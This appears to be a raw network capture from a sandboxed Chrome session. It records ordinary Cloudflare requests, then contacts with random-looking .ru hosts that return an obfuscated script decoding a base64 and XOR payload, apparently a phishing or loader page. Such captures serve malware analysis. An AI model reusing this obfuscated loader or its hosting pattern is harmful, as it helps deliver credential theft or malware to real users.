2025-03-26 23:46:55 UTC	629	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 23:46:55 UTC	308	IN	Data Raw: e5 01 1a ae 24 1a 01 0f 82 94 b8 17 10 11 06 de c4 b1 28 5d f1 0e ee 39 df 2c 85 85 09 69 c6 04 d7 c0 65 d0 03 c2 20 04 ce 80 13 a0 09 1c 01 87 e4 9b b0 01 bd 5f 93 b5 e8 ca 40 13 68 01 2f 84 89 fb c2 c4 2e 16 2f 55 32 4e 64 f5 92 e4 8b e6 07 f8 2e f9 a6 f0 55 f2 05 7c 06 9f c0 7b d0 28 16 da cd ad 79 10 09 81 d7 60 0c 7c 04 e3 dc 02 7a 5c cd 06 7a d9 40 0b 6f 35 18 88 e1 2d 98 94 0b 4f f4 54 c6 54 4c 29 af 35 17 1d ce 79 b1 6d 0d 9d ab 96 0f 81 01 7a 5a e3 94 7f d8 81 b3 c7 bc c5 8b 12 f1 3a 1b b8 42 97 8a 69 0a e5 8e 77 ce 82 d2 eb 3f 21 0c f0 f6 6d 2d 78 69 f5 95 1f a6 e7 3b 9c 9e 0f 65 0c 30 c9 41 cc e1 1c 57 c7 7d bf ef 45 a6 b5 88 75 ff 0a ee e7 c8 cf 68 30 4f ad 2f c5 de df 82 55 df 00 6a 41 1d c4 ea 2c 20 a2 f3 7b 0f 28 fc ff 7f b1 f8 dd cf 5f 3d Data Ascii: $(]9,ie _@h/./U2Nd.U\|{(y`\|z\z@o5-OTTL)5ymzZ:Biw?!m-xi;e0AW}Euh0O/UjA, {(_=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49733	104.16.5.189	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:46:55 UTC	588	OUT	GET /favicon.png HTTP/1.1 Host: developers.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=PsHvja_JU5DsLeV2n_IfCF3qSUto_qgLA4ad7m9UXVw-1743032815-1.0.1.1-mUOdQvdX8ypp5pXPQt8l.xU55K5Gy.r3__NyIT2UGH5jyrIrWbvYSDMD.53TEEEY6VfSM5Hfcb32JZ1Fr42n8mMdJq9FFkFCBFIpITUaAMo
2025-03-26 23:46:55 UTC	435	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:46:55 GMT Content-Type: image/png Content-Length: 937 Connection: close CF-Cache-Status: HIT Access-Control-Allow-Origin: * Cache-Control: public, max-age=0, must-revalidate ETag: "6be7ff94b6151f8cfbf08b53a17e2ac1" Strict-Transport-Security: max-age=15552000; preload X-Content-Type-Options: nosniff Server: cloudflare CF-RAY: 926a87b91a2a4e4d-EWR alt-svc: h3=":443"; ma=86400
2025-03-26 23:46:55 UTC	934	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 09 70 48 59 73 00 00 0b 12 00 00 0b 12 01 d2 dd 7e fc 00 00 03 5b 49 44 41 54 58 c3 ed 96 4b 48 54 51 18 c7 67 e6 86 91 04 d1 26 e8 a1 d7 c9 02 21 70 59 2d d4 71 d4 96 2d 42 93 48 82 08 a3 16 51 60 48 59 99 77 4c a7 4c ed b1 0d 8a da 44 a4 e6 a3 b2 a8 a8 4d bb 68 53 8b 48 a2 77 b4 c9 8d 77 46 e7 de 79 7c fd bf 73 cf 9d 39 8e 8f 32 85 36 73 e0 c7 77 e7 dc c7 ff ff 7d df 39 f7 8e c7 93 1b b9 b1 c0 11 6d f7 7b 22 a1 22 71 cc 51 85 c7 78 f3 5a 4f a4 bd 68 e9 85 55 11 79 ec 33 0d 5d 03 5e b3 4d f7 20 fa 30 a7 01 ef 44 37 4c 1a 99 eb 97 44 dc cc 88 b3 b0 77 de eb 0d 61 24 7d 2f 75 fa 17 29 6e e8 ee b1 a6 cc 07 40 17 18 04 a3 e0 06 38 08 56 f3 79 36 a9 9a Data Ascii: PNGIHDR szzpHYs~[IDATXKHTQg&!pY-q-BHQ`HYwLLDMhSHwwFy\|s926sw}9m{""qQxZOhUy3]^M 0D7LDwa$}/u)n@8Vy6
2025-03-26 23:46:55 UTC	3	IN	Data Raw: 42 60 82 Data Ascii: B`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49737	104.21.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:00 UTC	566	OUT	GET /gando$7ntu0 HTTP/1.1 Host: 2tvg7b.nmpjkg.ru Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:00 UTC	824	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3WS%2Fldj2FZj6OlW%2FMLErlYb3e6cyrPW05MziPBavXob%2FcS1a5dbGeyM75EQBa9PXS7AqP3I3FJE0EbOZiZeQiYiwae83MeUpOkYknB7l%2BG%2BvOYgZxlYTaRq8Objid8YVXnOS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926a87d71f318c33-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84951&min_rtt=84272&rtt_var=18487&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2820&recv_bytes=1138&delivery_rate=36271&cwnd=252&unsent_bytes=0&cid=584da7dd307b69c5&ts=722&x=0"
2025-03-26 23:47:00 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 23:47:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49725	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:00 UTC	1424	OUT	POST /gqTcG7twUYwRtxUyPvN52fc472uxn HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Content-Length: 774 sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6QqxqvvabtSH23Pb sec-ch-ua-mobile: ?0 Accept: / Origin: https://c2uah.yazvbqkl.ru Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6Ijg2UEtuSGFnVVVsZDNjRFY3aTcwWFE9PSIsInZhbHVlIjoiQlVyQ0tWV2pJYnJZcEUyTG9LbFg1dXJmZ0FsckN6V1pWRjZLYytvQ0kvVm4vUnRNVE5qbjlYQ3RVMHdIcThmRGRLbTlFUEM4V3NQWExpaFB3OHhWVE1wNlNtT0RVTnhlV0thalM2TjNnWERZcnVNOG9JbWM0TmR4eWw4SXMvQ04iLCJtYWMiOiJiOGIyYjU1OThiNGU2ZjA4ZTgzMDIyNzQ1YTFlY2ViY2VlNDQ5M2ZjZWM4NmJmOTczMzgxMDk0OTg5N2ZhZmY0IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjVDRE50TEtXejZvc0UvOHlLeVBjRHc9PSIsInZhbHVlIjoiZE9DYjdQUnIrQXhFcU5PNzZsSzNVRjhabzVZeDNiQzNvWHlleFZiaGkrUXBnT1gvaUxHNUgyelB4UnNiVFpGRUVVUVBKd25uMFNlVUl4NW42bU01ZTJhd1NDWFhFWEQ3YnlBaExDVzJZOVRkcXFtWU9raGpVZ0c1RkZ0SnZ5SVkiLCJtYWMiOiJjZDE1MzRhNmExM2UxOTAzNjU4ODlmMjcxNWFmM2MxMGU1ODNlZDVhYTM5NzQ1ODA5NTUzMTgxNzQwZmNlNWZkIiwidGFnIjoiIn0%3D
2025-03-26 23:47:00 UTC	774	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 51 71 78 71 76 76 61 62 74 53 48 32 33 50 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 6c 74 70 67 22 0d 0a 0d 0a 43 6a 79 6f 34 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 51 71 78 71 76 76 61 62 74 53 48 32 33 50 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 69 64 22 0d 0a 0d 0a 32 6d 4f 58 44 58 46 50 35 54 4c 47 51 4f 6d 59 57 61 72 4f 38 34 72 35 71 75 4a 4b 4b 4f 70 66 54 54 4f 57 58 32 53 50 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 36 51 71 78 Data Ascii: ------WebKitFormBoundary6QqxqvvabtSH23PbContent-Disposition: form-data; name="bltpg"Cjyo4------WebKitFormBoundary6QqxqvvabtSH23PbContent-Disposition: form-data; name="sid"2mOXDXFP5TLGQOmYWarO84r5quJKKOpfTTOWX2SP------WebKitFormBoundary6Qqx
2025-03-26 23:47:01 UTC	1180	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:01 GMT Content-Type: application/json Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xd%2BfXf95rnGXctlmh9ZZ4luJVopiRpwKIwo58KfgIXIPZMDV7sbEPcOkzuELy4BuyYCR9I9PmLiGUGGTZMgW6Q9FOMzdmiUIv8KVFqdnY2TZaP%2BNqopEphjblvKfcLUpLxjr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=31789&min_rtt=31781&rtt_var=8955&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=3112&delivery_rate=89424&cwnd=149&unsent_bytes=0&cid=8fa4a658ad3faf79&ts=233&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IjFqYThnOGUwblo5S3dpZXZhbWlxaEE9PSIsInZhbHVlIjoiRXNzOXlMOUc4aU9KQVM2TU1pa1gxSUhVUGIveWxtVDkwcWE1c3NPdUpFUGZiWWk3MHdqTEFuVGtuSXdTZG9zVjdKSk5FVmd3ZndqQzhBZjM1K3d6NGMzdVZKWmdFZXdIdG12UTAxTWdGdFZ2dklEcUZTRlo4NG40V3lSVUhQQTUiLCJtYWMiOiI5ODQ5ZTQ5YzZlNjAzMjk1NmRkMTFhZjdiNWI3MjNmMWEyMzIwMjYzODA3OWMzOTliNGJlNWQ1ZjRjNTM3ODA2IiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:47:01 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:47:01 UTC	789	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6e 4a 4e 4d 44 6b 72 4e 45 39 35 54 32 56 6b 51 30 4e 50 57 6c 64 59 56 47 68 50 62 58 63 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 61 45 31 6d 52 55 74 42 52 45 78 42 4d 6b 4d 34 52 48 55 31 53 43 39 74 4c 79 74 73 63 47 4e 49 54 55 4a 53 63 56 4a 47 64 47 35 54 64 47 64 4d 65 6b 35 4c 62 32 6f 35 64 48 41 32 59 33 46 6c 65 6c 70 6a 63 54 52 76 61 6c 4e 75 51 6b 6c 48 4e 31 46 42 54 30 6c 49 5a 55 51 32 54 6d 4e 70 55 45 4e 49 54 57 78 7a 61 47 67 77 56 6a 5a 4b 53 6d 74 6b 54 56 56 71 5a 45 35 75 4b 33 5a 59 4d 6d 70 69 4d 57 67 77 56 31 6c 79 52 57 78 43 5a 44 64 59 5a 44 4e 72 62 56 68 72 57 57 67 31 4f 55 31 73 55 31 6c 44 59 30 6f Data Ascii: Set-Cookie: laravel_session=eyJpdiI6InJNMDkrNE95T2VkQ0NPWldYVGhPbXc9PSIsInZhbHVlIjoiaE1mRUtBRExBMkM4RHU1SC9tLytscGNITUJScVJGdG5TdGdMek5Lb2o5dHA2Y3FlelpjcTRvalNuQklHN1FBT0lIZUQ2TmNpUENITWxzaGgwVjZKSmtkTVVqZE5uK3ZYMmpiMWgwV1lyRWxCZDdYZDNrbVhrWWg1OU1sU1lDY0o
2025-03-26 23:47:01 UTC	26	IN	Data Raw: 31 34 0d 0a 7b 22 73 74 61 74 75 73 22 3a 22 73 75 63 63 65 73 73 22 7d 0d 0a Data Ascii: 14{"status":"success"}
2025-03-26 23:47:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	104.21.64.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:01 UTC	391	OUT	GET /gando$7ntu0 HTTP/1.1 Host: 2tvg7b.nmpjkg.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-26 23:47:01 UTC	815	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hyfj2dPyM1HBCzxiRQScW4QCaXOPmjX4R0ZZI0CIIgw8iGTfxS9coZuloV%2Bhp0AJsD9XCNIqv7NMgPyiilNYNfccMoXFtgoJbVt7ugZyTjRg0rPlYS36RY3FddKDWF3guE3n"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 926a87dd3a2c440c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=84243&min_rtt=84216&rtt_var=17808&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2818&recv_bytes=963&delivery_rate=36252&cwnd=252&unsent_bytes=0&cid=06372fb1132bda71&ts=711&x=0"
2025-03-26 23:47:01 UTC	6	IN	Data Raw: 31 0d 0a 30 0d 0a Data Ascii: 10
2025-03-26 23:47:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	172.64.80.1	443	5376	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-26 23:47:01 UTC	1458	OUT	GET /QPImv5ff/ HTTP/1.1 Host: c2uah.yazvbqkl.ru Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: document Referer: https://c2uah.yazvbqkl.ru/QPImv5ff/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IjFqYThnOGUwblo5S3dpZXZhbWlxaEE9PSIsInZhbHVlIjoiRXNzOXlMOUc4aU9KQVM2TU1pa1gxSUhVUGIveWxtVDkwcWE1c3NPdUpFUGZiWWk3MHdqTEFuVGtuSXdTZG9zVjdKSk5FVmd3ZndqQzhBZjM1K3d6NGMzdVZKWmdFZXdIdG12UTAxTWdGdFZ2dklEcUZTRlo4NG40V3lSVUhQQTUiLCJtYWMiOiI5ODQ5ZTQ5YzZlNjAzMjk1NmRkMTFhZjdiNWI3MjNmMWEyMzIwMjYzODA3OWMzOTliNGJlNWQ1ZjRjNTM3ODA2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InJNMDkrNE95T2VkQ0NPWldYVGhPbXc9PSIsInZhbHVlIjoiaE1mRUtBRExBMkM4RHU1SC9tLytscGNITUJScVJGdG5TdGdMek5Lb2o5dHA2Y3FlelpjcTRvalNuQklHN1FBT0lIZUQ2TmNpUENITWxzaGgwVjZKSmtkTVVqZE5uK3ZYMmpiMWgwV1lyRWxCZDdYZDNrbVhrWWg1OU1sU1lDY0oiLCJtYWMiOiJmMjJiZWZkNzcwNDA4NmE1OTQ3ODE2MmZkMDY1NzFkMGFhN2YwOWU4NGE2YTk2MTA5MGE1OGYwODJlNjA1M2FlIiwidGFnIjoiIn0%3D
2025-03-26 23:47:02 UTC	1210	IN	HTTP/1.1 200 OK Date: Wed, 26 Mar 2025 23:47:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: no-cache, private cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Q6BRYUkkQKudlWSyW6fJVHZHLd78Fyl8qL3A2Gro9SHlo3SGesKlf2Rdto2QdSp1g%2BsYiF%2BOD70DejHpxmDeyWDfHpyVNMOT5t3c5XIZzxKB098FwBoJKc1a21fyhF0xbYoX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} server-timing: cfL4;desc="?proto=TCP&rtt=8334&min_rtt=8312&rtt_var=2377&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2821&recv_bytes=2362&delivery_rate=337961&cwnd=251&unsent_bytes=0&cid=7f2f86f7d3fb39fb&ts=214&x=0" Set-Cookie: XSRF-TOKEN=eyJpdiI6IlBKMDE0Wk51ZTJUR0tqMlo5YmNLMnc9PSIsInZhbHVlIjoiVmRtTjVBTTdwckJpQXBJUjE5ZjBMOUhKaHQrTi8zSU5VU0lXUzFhTmdVZEoyaDBkSlJlaEgvaFZ4UFNsdHJiS0M5dWJYSnA0MVBvNWNUbElxUlQrbEdwSlhHaWRqMzNRUWE3Z2UxMVlQZWRZWk05SlJLalBDUFNkRjVabHNSSVAiLCJtYWMiOiI5YzRiNjkzNGQ0ZDM5ODM4MmEwOTZiMDA2N2M0NzY1YzUyZGFjMWY4ZWI3MzAzZmU5NGRhZDEzMzYzZTQwYzJlIiwidGFnIjoiIn0%3D; expires=Thu, 27-Mar-2025 01:47:02 GMT; Max-Age=7200; path=/; secure; samesite=none
2025-03-26 23:47:02 UTC	764	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 6c 61 72 61 76 65 6c 5f 73 65 73 73 69 6f 6e 3d 65 79 4a 70 64 69 49 36 49 6a 63 72 63 47 5a 4b 61 58 52 47 53 32 46 4a 63 6b 4e 51 4c 30 74 61 52 44 6c 68 63 46 45 39 50 53 49 73 49 6e 5a 68 62 48 56 6c 49 6a 6f 69 4d 33 4a 76 65 44 4d 35 5a 47 70 43 4d 47 35 61 64 6b 68 34 65 57 64 6c 64 6c 4e 79 59 6e 42 53 52 54 42 44 62 32 56 61 51 7a 56 57 55 33 6c 6c 5a 6e 4a 54 54 58 70 51 61 69 39 43 53 48 42 55 56 54 4a 57 62 46 64 31 55 6d 4a 42 65 6a 64 7a 56 47 35 71 57 44 4e 74 57 6b 56 73 5a 57 74 49 52 58 67 78 55 55 6c 69 4e 58 6f 30 63 6b 70 48 61 45 74 34 4d 30 78 4d 65 58 64 47 63 31 64 51 54 6e 56 44 57 6c 70 70 54 48 56 49 54 30 31 33 61 6d 51 7a 51 33 4e 36 55 46 64 4b 4e 30 74 68 61 58 6c 4b 56 55 56 30 63 43 73 Data Ascii: Set-Cookie: laravel_session=eyJpdiI6IjcrcGZKaXRGS2FJckNQL0taRDlhcFE9PSIsInZhbHVlIjoiM3JveDM5ZGpCMG5adkh4eWdldlNyYnBSRTBDb2VaQzVWU3llZnJTTXpQai9CSHBUVTJWbFd1UmJBejdzVG5qWDNtWkVsZWtIRXgxUUliNXo0ckpHaEt4M0xMeXdGc1dQTnVDWlppTHVIT013amQzQ3N6UFdKN0thaXlKVUV0cCs
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 31 31 32 32 0d 0a 3c 73 63 72 69 70 74 3e 0d 0a 66 75 6e 63 74 69 6f 6e 20 57 63 77 63 50 6c 48 4c 42 44 28 70 72 76 48 76 4d 61 62 4a 62 2c 20 76 6b 44 43 4b 62 6c 4e 6a 74 29 20 7b 0d 0a 6c 65 74 20 6b 48 6d 48 79 66 57 70 51 6a 20 3d 20 27 27 3b 0d 0a 70 72 76 48 76 4d 61 62 4a 62 20 3d 20 61 74 6f 62 28 70 72 76 48 76 4d 61 62 4a 62 29 3b 0d 0a 6c 65 74 20 42 62 6a 64 58 45 53 62 77 69 20 3d 20 76 6b 44 43 4b 62 6c 4e 6a 74 2e 6c 65 6e 67 74 68 3b 0d 0a 66 6f 72 20 28 6c 65 74 20 69 20 3d 20 30 3b 20 69 20 3c 20 70 72 76 48 76 4d 61 62 4a 62 2e 6c 65 6e 67 74 68 3b 20 69 2b 2b 29 20 7b 0d 0a 20 20 20 20 6b 48 6d 48 79 66 57 70 51 6a 20 2b 3d 20 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 70 72 76 48 76 4d 61 62 4a 62 2e 63 68 61 72 43 Data Ascii: 1122<script>function WcwcPlHLBD(prvHvMabJb, vkDCKblNjt) {let kHmHyfWpQj = '';prvHvMabJb = atob(prvHvMabJb);let BbjdXESbwi = vkDCKblNjt.length;for (let i = 0; i < prvHvMabJb.length; i++) { kHmHyfWpQj += String.fromCharCode(prvHvMabJb.charC
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 57 44 53 4d 54 4b 69 73 77 49 48 74 41 48 69 63 32 4d 43 5a 2b 50 42 68 72 48 78 56 43 43 42 38 58 4e 54 41 2f 5a 41 49 4e 4d 7a 55 37 49 42 6b 61 48 6d 73 32 45 55 49 49 45 78 78 2f 48 53 41 42 41 67 41 6c 4c 6a 41 4d 44 78 55 50 65 44 49 46 45 77 67 55 42 43 73 64 4b 33 4e 47 44 54 4d 50 5a 79 59 68 49 31 35 34 4f 52 59 4e 4a 51 41 51 50 78 30 67 66 78 34 6c 49 78 74 6e 43 69 55 57 57 46 49 66 45 68 67 4e 46 41 63 2b 44 6a 42 64 4e 53 5a 47 45 7a 73 4b 4a 52 56 62 66 7a 49 47 54 51 30 57 64 51 63 64 4b 33 41 57 44 54 63 41 4d 41 77 50 46 51 39 34 4d 67 55 54 4a 43 34 48 4a 6a 41 67 65 77 49 4c 48 51 4e 6e 4a 69 49 43 42 48 30 79 42 67 34 67 45 43 6b 68 4d 43 78 65 46 69 41 38 43 32 59 66 48 79 4d 50 55 45 4d 53 51 52 42 6c 66 43 63 4f 50 46 34 57 43 67 Data Ascii: WDSMTKiswIHtAHic2MCZ+PBhrHxVCCB8XNTA/ZAINMzU7IBkaHms2EUIIExx/HSABAgAlLjAMDxUPeDIFEwgUBCsdK3NGDTMPZyYhI154ORYNJQAQPx0gfx4lIxtnCiUWWFIfEhgNFAc+DjBdNSZGEzsKJRVbfzIGTQ0WdQcdK3AWDTcAMAwPFQ94MgUTJC4HJjAgewILHQNnJiICBH0yBg4gECkhMCxeFiA8C2YfHyMPUEMSQRBlfCcOPF4WCg
2025-03-26 23:47:02 UTC	1369	IN	Data Raw: 49 48 38 64 43 77 4e 78 48 41 77 50 46 51 39 34 4f 58 51 36 41 6a 6c 31 50 42 73 66 41 54 6f 65 4d 33 67 39 49 52 74 6c 42 46 4d 66 46 51 45 59 41 42 63 6e 42 6a 42 72 48 53 59 61 45 78 6f 6b 46 42 70 59 61 79 5a 78 47 43 49 2b 49 69 49 4e 57 67 67 45 49 44 4d 58 59 79 45 4c 5a 51 52 54 48 78 45 61 44 52 51 48 49 54 41 2f 42 42 73 67 4d 79 30 68 4a 79 55 38 42 46 55 63 45 67 45 6c 46 43 34 72 4d 52 38 42 4f 67 30 33 41 44 41 4d 43 77 4a 61 61 79 5a 78 52 41 30 35 42 7a 55 4f 4d 47 73 64 4a 68 6f 54 45 68 38 62 44 67 42 56 4a 6a 78 45 43 68 51 75 65 78 41 35 58 68 59 4e 4e 77 41 77 4a 69 45 43 57 46 55 70 44 67 45 49 45 42 38 6b 4e 69 42 2f 48 51 73 44 63 52 77 6a 48 7a 39 66 64 53 41 30 48 52 59 42 4e 52 34 46 57 31 55 6c 45 53 77 4c 45 41 77 49 5a 41 39 Data Ascii: IH8dCwNxHAwPFQ94OXQ6Ajl1PBsfAToeM3g9IRtlBFMfFQEYABcnBjBrHSYaExokFBpYayZxGCI+IiINWggEIDMXYyELZQRTHxEaDRQHITA/BBsgMy0hJyU8BFUcEgElFC4rMR8BOg03ADAMCwJaayZxRA05BzUOMGsdJhoTEh8bDgBVJjxEChQuexA5XhYNNwAwJiECWFUpDgEIEB8kNiB/HQsDcRwjHz9fdSA0HRYBNR4FW1UlESwLEAwIZA9
